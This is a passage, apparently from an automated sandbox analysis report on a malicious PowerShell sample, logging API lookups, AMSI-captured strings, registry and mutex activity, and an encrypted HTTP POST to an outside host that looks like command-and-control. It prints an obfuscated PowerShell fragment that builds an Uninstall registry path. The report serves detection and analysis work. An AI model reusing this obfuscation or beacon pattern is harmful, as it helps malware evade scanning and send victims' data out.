SystemFunction041W (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ResetSecurity (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetSecurity (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServices (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServicesObject (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyHandle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WritePropertyValue (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter Clone (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter VerifyClientKey (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetQualifierSet (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter Get (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter Put (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter Delete (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetNames (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter BeginEnumeration (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter Next (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EndEnumeration (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyQualifierSet (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetObjectText (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SpawnDerivedClass (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SpawnInstance (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CompareTo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyOrigin (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter InheritsFrom (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetMethod (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter PutMethod (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DeleteMethod (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter BeginMethodEnumeration (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter NextMethod (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EndMethodEnumeration (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValue (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptEncrypt (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter InitializeLibrary (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeHost (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeHost_RetAddr (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter PerfCounterInitialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter IsValidSid (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetLengthSid (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MgdGetIISVersionInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetDirMonConfiguration (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter shutdown (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsShuttingDown (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_SetAppDomainIsUnloading (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_ScheduleCleanupCallback (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006528)2d:T7d3,Found string "Set-Alias -Name scim -Value Set-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-CimInstance"; File: "AMSI") Found string "Set-Alias -Name ncim -Value New-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimInstance"; File: "AMSI") Found string "Set-Alias -Name rcim -Value Remove-cimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Remove-CimInstance"; File: "AMSI") Found string "Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Invoke-CimMethod"; File: "AMSI") Found string "Set-Alias -Name gcai -Value Get-CimAssociatedInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimAssociatedInstance"; File: "AMSI") Found string "Set-Alias -Name rcie -Value Register-CimIndicationEvent -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Register-CimIndicationEvent"; File: "AMSI") Found string "Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSession"; File: "AMSI") Found string "Set-Alias -Name rcms -Value Remove-cimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Remove-CimSession"; File: "AMSI") Found string "Set-Alias -Name gcms -Value Get-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimSession"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSession"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "New-CimSessionOption"; File: "AMSI") Found string "Set-Alias -Name gcls -Value Get-CimClass -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Get-CimClass"; File: "AMSI")2e:T7a6,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT")2f:Tbb5,"POST /take/dIG1bXo3/a3d27cfa-1e7a-4ff8-8004-2be13417b6b1 HTTP/1.1 Host: events.msft23.com Content-Length: 2194" with payload::==> "{ "enc": "qf35o/osN+e/esuoKJwMQOZDNQ7U4fXtCKrV+kVLY9/j7IKVmp9hsOYHRqt+5yrI756PfGyanYZLjpxONPZ5eegtvmYI+iBvX7+VpHDY26ytMylbebxQfBqHs92GJBktNC27lABQYNG14AWNh9BN2guQWARUB6DA6edvYOqqECee5zmbQDcFwaHl+XF390Ww7RQTZPf1Pg/bhGG3Pt3WwQV45H9LTRxO9BYf3/l05ivMTJGLeLvjqqfHdMAKm5iqM/vfQUTLdcFhSQARw7saCtGdQZQOWP3fj8V8BBwe8MrPH6H0jCUU4mNUkN3DcmN0frzUWmnsl6UTw38Q2+Faod4u/G0WVizSrqXSqXW9K7QU5hm30Xzjlp1jhREFpk4WF/TZWaFFAlytm3LVQk1FX6UmrsY2EOapyTZbLqdr2z1RdMSwnq1h8M0im9SFf1aQGP9UBGLrDbmf2l1Wv5J5VKpl4N5VJKNv0dC5sP5xI6mB5hh0dKc0UmRLDFzxbLE4Ugz1fMEVLtX3kB8+8WQC/OfSFP0bYSyl6EfZ1OejYMOESzsyvlfuQrC2ESia1BZabjpFXRCok6BTIuFy7HNo3hJ/cwURLq1uXli2JWyuLJpiC0coGZf+DGUr62cuMKAS5RVAvs+FtxEfiWAKrVilVQu3blAzo94MABXvWDGUcqHvjOp0+AavN8Kqch8FPtGixlilTO7/RNmHiCR9bN1FkQeeU3a8LA3054opGgE1ulMTMEaFDmOH+D6G7CjwoBVAXCIh75xP0V64pArInyv0kwFVHgvBt/g4hFuaJOhWE9uzlDgbwSyogcm0VrArSYt1c7hcM8lIwieenRN4D9v1VHXLm5EORDV8879MDYUKEzHlM+TN/vu6W8bU7ie5j3tciWL7vspQY7dJxUVuPms9ShAFhvDSj1MrV1HuwCxnuEokdbGik/8Zq9Bl9g6bRpJnV/0NQY7vhGFdorTFqy/RCV1e0DBZmD/GmphGEyNndBLv/LX2W0Uvjrrsx+3/jfSJpaGifKUGKTte72a6TlI3JdcNmrhOrzWW77x4z0hDIo/OH7sXUOX8tGUbWtKt3Ytx8TNlYCApmTjr9se+Dm3hcg==", "key": "Mbukv44BkcHD4jdXSijcJrVrSTorB4GRR+RGwSWZOBUDSQT6CW96kjEtlZmHSr0Vuk2AOJQZ759e4vAgcLdG+YBB7Axr1F6dAbAyHwWUx3clpLMe6MMGT60R/yXM5IlhhYHCbEreMV1uqw8iKY/6W2xHkT6gOTZU/HwhOpjen9UuhGr+55IHzP5WKMST4nRtoy+bT261WwRbEeXhcQ66jVzVWgqFMykSqvsCRHaaElGsG78c9TneoFklQu+HU8gYn213pPEuMZzYJuNw30Jx63GiT4SVKIqGRaJD/BGEiHzr3pVvwFfijwGGcsAJgJiStR5v/OiWPi/Kz1B14GVJ/g==", "sig": "NnQu6oFWQ7iDrH2To9d894xXfHC8ILtVtQEc957HamjDiEV+HGlMn58B6xq6cUe+COpr1NzumLFvhyXMXrVnUszVzZPP0P6p0OuLBptR1JaS7pwgC/skjoCP9N81uWSl/TqoTpckZemZgI1ZHgm13hkxvuMp90K2udA2FR7aCSPsOxKlYveRSWW8M1vPcgqIZvpU1WKxxw8hN1kX7X2BgyQB0GIqGjHlSVI8NTgZJq4Q7E7oizqFkeFosz/Nr7hvCjXB9pOmh8wVF1KxvaMq2nPVRkzt0UpOjPJSpIc0rZem8D4FgC6b+AVBl+3gFugNe6yJ0AO6DS4HVp5A4yvvef6w7j5C4AAMsj5Re1sSarPwP6BcW+2srBuEVXL0+kpv+cF7o2jnYpZtyd5fDYCbuhOozlvpNgYus+eG9gk0u5pMXAn+5tGB/Jdy/NB+8AQ6ZHJ39joyeou8v2tIHJxhDn8G3fVo7DRn10mKCZBNIOLyi0OxdiFmroPNRinqtkGdad+w4ieCsfGYAPb32OGutMadm/6hMs5NdMTuROLwK0wiATBM3osb/DsNfOufll40hh5cpV2f9mv1mVuf+CXd912fPmEnxtx4fUJ9lQQA9l+O8FjJEBbosBfqG73WSv7XQ80Dk8pX3LIfA3W/SJp8s1uRH1Dq6tSRIhR/YAA6erM="}" HTTP/1.1 200 OK Date: Thu 23 Apr 2026 08:57:11 GMT Content-Type: application/json Content-Length: 2 Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=12 cfOrigin;dur=1378 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=vir8LwmNJFLtgMYsgG%2BxkRwP6MrNgICelWEknbvhsq%2F3h9hAoQbpkL4g%2FLZKX88XyR1O22QlP3Q27JyDFAGJPEnkZmz0071PejBuEmlald2Ri3SlWHoAcWnIKKrHXkYhUxdrDA%3D%3D"}]} CF-RAY: 9f0ba8bf6b732847-SJC alt-svc: h3=":443"; ma=86400 with response body ==>2222.......30:T76b,Found string "Set-Alias -Name gcim -Value Get-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name scim -Value Set-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncim -Value New-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcim -Value Remove-cimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcai -Value Get-CimAssociatedInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcie -Value Register-CimIndicationEvent -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcms -Value Remove-cimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcms -Value Get-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcls -Value Get-CimClass -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI")31:T548,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\SSPICACHE\CREDSSP.DLL"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SECURITYPROVIDERS\SASLPROFILES"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS\MICROSOFT SSL PROTOCOL PROVIDER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\PROVIDERS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: ""; Value: "")32:T465,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process powershell.exe created mutex with name "\BaseNamedObjects\dIG1bXo3-a3d27cfa-1e7a-4ff8-8004-2be13417b6b1" Process powershell.exe created mutex with name "SM0:6528:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6528:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:6528:120:WilError_01" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "Local\SM0:6528:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6528:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6528:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6528:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex"33:T44a,"UQThIKVCVm").Trim("KZhMKtfyA4MkTQ8rzDzc").Remove(68, 21).Replace(("iNrBPxGsPHxTzaXdEg94poNPXV9OyitfCDXiJ6ng5wHgqNpInXOtX1fdTzaXdEg94poNPXV9Oyitf0WaEpNzEVdxPDx5u9TzaXdEg94poNPXV9OyitfYDKMKDpGhcxLv24iG7qfTzaXdEg94poNPXV9OyitfxMZncfNRtS0yK4FktTzaXdEg94poNPXV9Oyitf9qkHyqjQYctHeiVYTzaXdEg94poNPXV9Oyitf" -split "TzaXdEg94poNPXV9Oyitf")[(3976 - 9488 + 1562 - (21167 % 12176) - 1178 ) * 13+ 6697 + 8145 + 168706] "K").Trim("9UQThIKVCVm1jFOYv8dkK").Remove(2, 19)))) { $fRNx3fMFFVX9UXB28FVA = & ("cdZmCOEmiT1bEQZhS3lgQANbcH8c6fXoMY40tzcbhJLOqhDGJRazvD9xHWU9qOv4QzMhsedZZGp3Rhbkn4UstuSRXhMmGs2UkK".Substring(13, 61).Trim("QZhS3lgQANbcH8c6fXoM").Replace("RazvD9xHWU9q", "sP3MWP6W2aQC").Insert(30, "xbR8QDQet-ItemPropertyoX").Substring(14, 38).Remove(1, 22)) ("faHLUTmWhihs2uV0YNepZh2VlTbBkIKxIRmN2P0hd0ctdeYPgdVu6MUgbJVyeMnTx3p432Node\Microsoft\Windows\CurrentVersion\Uninstall\*eGaJC1OUhBvtap6NItJPmlYkicnxm7tm7uaykHFW4d".Substring(23, 128).Substring(12, 96).Replace("dVu6MUgbJVyeMnTx3p", "m0VuCHKLM:\Software\Wow6").Tri" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: AMSI34:Tcda,"powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property Store over folder final" (Path: "HKCU\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "powershell.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS")35:T5e6,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000000000000000000000000 (UID: 00000000-00006528) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002014b2e0c301000000000000000000000300000000000000c4671571f87f00001000000000000000100000000000000000caaacd9b00000080000000000000001000000000000000a169c175f87f000000000000 (UID: 00000000-00006528) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000018f346f9c301000018f346f9c30100000000000000000000f4caaacd9b000000e8cbaacd9b000000060000000000000044cbaacd9b0000000000000000000000c4671571f87f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169c175f87f0000287746f9 (UID: 00000000-00006528) "powershell.exe" called "GetVersionExA" with parameter 